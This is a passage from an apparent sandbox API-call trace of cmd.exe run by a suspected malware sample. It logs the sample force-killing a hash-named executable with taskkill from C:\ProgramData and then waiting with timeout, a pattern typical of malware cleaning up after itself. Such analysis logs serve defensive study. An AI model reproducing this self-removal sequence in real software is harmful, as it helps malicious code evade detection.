0x2 [0113.935] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.935] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0x550cc0 [0113.936] GetProcessHeap () returned 0x550000 [0113.936] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x5579f0 [0113.936] FindClose (in: hFindFile=0x550cc0 | out: hFindFile=0x550cc0) returned 1 [0113.936] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0xffffffff [0113.936] GetLastError () returned 0x2 [0113.936] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0x550cc0 [0113.936] GetProcessHeap () returned 0x550000 [0113.936] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5579f0, Size=0x4) returned 0x550d00 [0113.936] FindClose (in: hFindFile=0x550cc0 | out: hFindFile=0x550cc0) returned 1 [0113.937] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0113.937] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0113.937] GetConsoleTitleW (in: lpConsoleTitle=0x19f79c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0113.937] InitializeProcThreadAttributeList (in: lpAttributeList=0x19f6c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19f6ac | out: lpAttributeList=0x19f6c8, lpSize=0x19f6ac) returned 1 [0113.937] UpdateProcThreadAttribute (in: lpAttributeList=0x19f6c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x19f6b4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19f6c8, lpPreviousValue=0x0) returned 1 [0113.937] GetStartupInfoW (in: lpStartupInfo=0x19f700 | out: lpStartupInfo=0x19f700*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0113.937] GetProcessHeap () returned 0x550000 [0113.937] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x18) returned 0x5579f0 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0113.937] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0113.938] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0113.939] GetProcessHeap () returned 0x550000 [0113.939] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x5579f0) returned 1 [0113.939] GetProcessHeap () returned 0x550000 [0113.939] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xa) returned 0x550cc0 [0113.939] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0113.944] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\ProgramData", lpStartupInfo=0x19f650*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f69c | out: lpCommandLine="taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f ", lpProcessInformation=0x19f69c*(hProcess=0xa8, hThread=0xa4, dwProcessId=0x788, dwThreadId=0x7b0)) returned 1 [0114.371] CloseHandle (hObject=0xa4) returned 1 [0114.371] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0114.371] GetProcessHeap () returned 0x550000 [0114.371] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55ac88) returned 1 [0114.371] GetEnvironmentStringsW () returned 0x55a328* [0114.371] GetProcessHeap () returned 0x550000 [0114.371] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb0a) returned 0x55ae40 [0114.372] FreeEnvironmentStringsA (penv="=") returned 1 [0114.372] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xffffffff) returned 0x0 [0119.719] GetExitCodeProcess (in: hProcess=0xa8, lpExitCode=0x19f634 | out: lpExitCode=0x19f634*=0x0) returned 1 [0119.720] CloseHandle (hObject=0xa8) returned 1 [0119.720] _vsnwprintf (in: _Buffer=0x19f71c, _BufferCount=0x13, _Format="%08X", _ArgList=0x19f63c | out: _Buffer="00000000") returned 8 [0119.721] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0119.721] GetProcessHeap () returned 0x550000 [0119.721] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55ae40) returned 1 [0119.721] GetEnvironmentStringsW () returned 0x55a328* [0119.721] GetProcessHeap () returned 0x550000 [0119.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb30) returned 0x55c490 [0119.721] FreeEnvironmentStringsA (penv="=") returned 1 [0119.721] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0119.721] GetProcessHeap () returned 0x550000 [0119.721] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c490) returned 1 [0119.721] GetEnvironmentStringsW () returned 0x55a328* [0119.721] GetProcessHeap () returned 0x550000 [0119.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb30) returned 0x55c490 [0119.721] FreeEnvironmentStringsA (penv="=") returned 1 [0119.721] GetProcessHeap () returned 0x550000 [0119.721] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x550cc0) returned 1 [0119.721] DeleteProcThreadAttributeList (in: lpAttributeList=0x19f6c8 | out: lpAttributeList=0x19f6c8) [0119.722] GetConsoleTitleW (in: lpConsoleTitle=0x19f9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0119.728] _wcsicmp (_String1="timeout", _String2="DIR") returned 16 [0119.729] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15 [0119.729] _wcsicmp (_String1="timeout", _String2="DEL") returned 16 [0119.729] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16 [0119.729] _wcsicmp (_String1="timeout", _String2="COPY") returned 17 [0119.729] _wcsicmp (_String1="timeout", _String2="CD") returned 17 [0119.729] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17 [0119.729] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2 [0119.729] _wcsicmp (_String1="timeout", _String2="REN") returned 2 [0119.729] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15 [0119.729] _wcsicmp (_String1="timeout", _String2="SET") returned 1 [0119.729] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4 [0119.729] _wcsicmp (_String1="timeout", _String2="DATE") returned 16 [0119.729] _wcsicmp (_String1="timeout", _String2="TIME") returned 111 [0119.729] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4 [0119.729] _wcsicmp (_String1="timeout", _String2="MD") returned 7 [0119.729] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7 [0119.729] _wcsicmp (_String1="timeout", _String2="RD") returned 2 [0119.729] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2 [0119.729] _wcsicmp (_String1="timeout", _String2="PATH") returned 4 [0119.729] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13 [0119.729] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1 [0119.729] _wcsicmp (_String1="timeout", _String2="CLS") returned 17 [0119.729] _wcsicmp (_String1="timeout", _String2="CALL") returned 17 [0119.729] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2 [0119.729] _wcsicmp (_String1="timeout", _String2="VER") returned -2 [0119.729] _wcsicmp (_String1="timeout", _String2="VOL") returned -2 [0119.729] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15 [0119.729] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1 [0119.729] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15 [0119.729] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7 [0119.729] _wcsicmp (_String1="timeout", _String2="START") returned 1 [0119.730] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16 [0119.730] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9 [0119.730] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7 [0119.730] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4 [0119.730] _wcsicmp (_String1="timeout", _String2="POPD") returned 4 [0119.730] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19 [0119.730] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14 [0119.730] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18 [0119.730] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17 [0119.730] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7 [0119.730] _wcsicmp (_String1="timeout", _String2="DIR") returned 16 [0119.730] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15 [0119.730] _wcsicmp (_String1="timeout", _String2="DEL") returned 16 [0119.730] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16 [0119.730] _wcsicmp (_String1="timeout", _String2="COPY") returned 17 [0119.730] _wcsicmp (_String1="timeout", _String2="CD") returned 17 [0119.730] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17 [0119.730] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2 [0119.730] _wcsicmp (_String1="timeout", _String2="REN") returned 2 [0119.730] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15 [0119.730] _wcsicmp (_String1="timeout", _String2="SET") returned 1 [0119.730] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4 [0119.730] _wcsicmp (_String1="timeout", _String2="DATE") returned 16 [0119.730] _wcsicmp (_String1="timeout", _String2="TIME") returned 111 [0119.730] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4 [0119.730] _wcsicmp (_String1="timeout", _String2="MD") returned 7 [0119.730] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7 [0119.731] _wcsicmp (_String1="timeout", _String2="RD") returned 2 [0119.731] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2 [0119.731] _wcsicmp (_String1="timeout", _String2="PATH") returned 4 [0119.731] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13 [0119.731] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1 [0119.731] _wcsicmp (_String1="timeout", _String2="CLS") returned 17 [0119.731] _wcsicmp (_String1="timeout", _String2="CALL") returned 17 [0119.731] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2 [0119.731] _wcsicmp (_String1="timeout", _String2="VER") returned -2 [0119.731] _wcsicmp (_String1="timeout", _String2="VOL") returned -2 [0119.731] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15 [0119.731] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1 [0119.731] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15 [0119.731] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7 [0119.731] _wcsicmp (_String1="timeout", _String2="START") returned 1 [0119.731] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16 [0119.731] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9 [0119.731] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7 [0119.731] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4 [0119.731] _wcsicmp (_String1="timeout", _String2="POPD") returned 4 [0119.731] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19 [0119.731] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14 [0119.731] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18 [0119.731] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17 [0119.731] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7 [0119.731] _wcsicmp (_String1="timeout", _String2="FOR") returned 14 [0119.731] _wcsicmp (_String1="timeout", _String2="IF") returned 11 [0119.731] _wcsicmp (_String1="timeout", _String2="REM") returned 2 [0119.732] GetProcessHeap () returned 0x550000 [0119.732] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x210) returned 0x550e40 [0119.732] GetProcessHeap () returned 0x550000 [0119.732] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x26) returned 0x551058 [0119.732] _wcsnicmp (_String1="time", _String2="cmd ", _MaxCount=0x4) returned 17 [0119.732] GetProcessHeap () returned 0x550000 [0119.732] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x418) returned 0x558300 [0119.732] SetErrorMode (uMode=0x0) returned 0x0 [0119.732] SetErrorMode (uMode=0x1) returned 0x0 [0119.732] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x558308, lpFilePart=0x19f4bc | out: lpBuffer="C:\\ProgramData", lpFilePart=0x19f4bc*="ProgramData") returned 0xe [0119.732] SetErrorMode (uMode=0x0) returned 0x1 [0119.732] GetProcessHeap () returned 0x550000 [0119.732] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x558300, Size=0x36) returned 0x558300 [0119.732] GetProcessHeap () returned 0x550000 [0119.732] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x558300) returned 0x36 [0119.733] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x63 [0119.733] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0119.733] GetProcessHeap () returned 0x550000 [0119.733] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xf2) returned 0x558340 [0119.733] GetProcessHeap () returned 0x550000 [0119.733] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1dc) returned 0x558440 [0119.735] GetProcessHeap () returned 0x550000 [0119.735] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x558440, Size=0xf4) returned 0x558440 [0119.735] GetProcessHeap () returned 0x550000 [0119.735] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x558440) returned 0xf4 [0119.735] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0119.735] GetProcessHeap () returned 0x550000 [0119.735] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe0) returned 0x558540 [0119.735] GetProcessHeap () returned 0x550000 [0119.736] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x558540, Size=0x76) returned 0x558540 [0119.736] GetProcessHeap () returned 0x550000 [0119.736] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x558540) returned 0x76 [0119.736] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0119.736] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\timeout.*", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0xffffffff [0119.737] GetLastError () returned 0x2 [0119.737] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0119.737] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.*", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0x55a170 [0119.737] FindClose (in: hFindFile=0x55a170 | out: hFindFile=0x55a170) returned 1 [0119.737] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.COM", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0xffffffff [0119.737] GetLastError () returned 0x2 [0119.738] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.EXE", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0x55a170 [0119.738] FindClose (in: hFindFile=0x55a170 | out: hFindFile=0x55a170) returned 1 [0119.738] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0119.738] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0119.738] GetConsoleTitleW (in: lpConsoleTitle=0x19f73c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0119.750] InitializeProcThreadAttributeList (in: lpAttributeList=0x19f668, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19f64c | out: lpAttributeList=0x19f668, lpSize=0x19f64c) returned 1 [0119.750] UpdateProcThreadAttribute (in: lpAttributeList=0x19f668, dwFlags=0x0, Attribute=0x60001, lpValue=0x19f654, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19f668, lpPreviousValue=0x0) returned 1 [0119.750] GetStartupInfoW (in: lpStartupInfo=0x19f6a0 | out: lpStartupInfo=0x19f6a0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0119.750] GetProcessHeap () returned 0x550000 [0119.750] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x18) returned 0x557b50 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0119.750] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0119.751] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0119.751] GetProcessHeap () returned 0x550000 [0119.752] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x557b50) returned 1 [0119.752] GetProcessHeap () returned 0x550000 [0119.752] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xa) returned 0x558648 [0119.752] lstrcmpW (lpString1="\\timeout.exe", lpString2="\\XCOPY.EXE") returned -1 [0119.752] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\timeout.exe", lpCommandLine="timeout /t 6 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\ProgramData", lpStartupInfo=0x19f5f0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="timeout /t 6 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f63c | out: lpCommandLine="timeout /t 6 ", lpProcessInformation=0x19f63c*(hProcess=0xa4, hThread=0xa8, dwProcessId=0xa5c, dwThreadId=0x758)) returned 1 [0119.940] CloseHandle (hObject=0xa8) returned 1 [0119.940] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0119.940] GetProcessHeap () returned 0x550000 [0119.940] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c490) returned 1 [0119.941] GetEnvironmentStringsW () returned 0x55c490* [0119.941] GetProcessHeap () returned 0x550000 [0119.941] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb30) returned 0x55cfc8 [0119.941] FreeEnvironmentStringsA (penv="=") returned 1 [0119.941] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0xffffffff) returned 0x0 [0126.468] GetExitCodeProcess (in: hProcess=0xa4, lpExitCode=0x19f5d4 | out: lpExitCode=0x19f5d4*=0x0) returned 1 [0126.469] CloseHandle (hObject=0xa4) returned 1 [0126.469] _vsnwprintf (in: _Buffer=0x19f6bc, _BufferCount=0x13, _Format="%08X", _ArgList=0x19f5dc | out: _Buffer="00000000") returned 8 [0126.470] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0126.470] GetProcessHeap () returned 0x550000 [0126.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55cfc8) returned 1 [0126.470] GetEnvironmentStringsW () returned 0x55c490* [0126.470] GetProcessHeap () returned 0x550000 [0126.470] RtlAllocateHeap 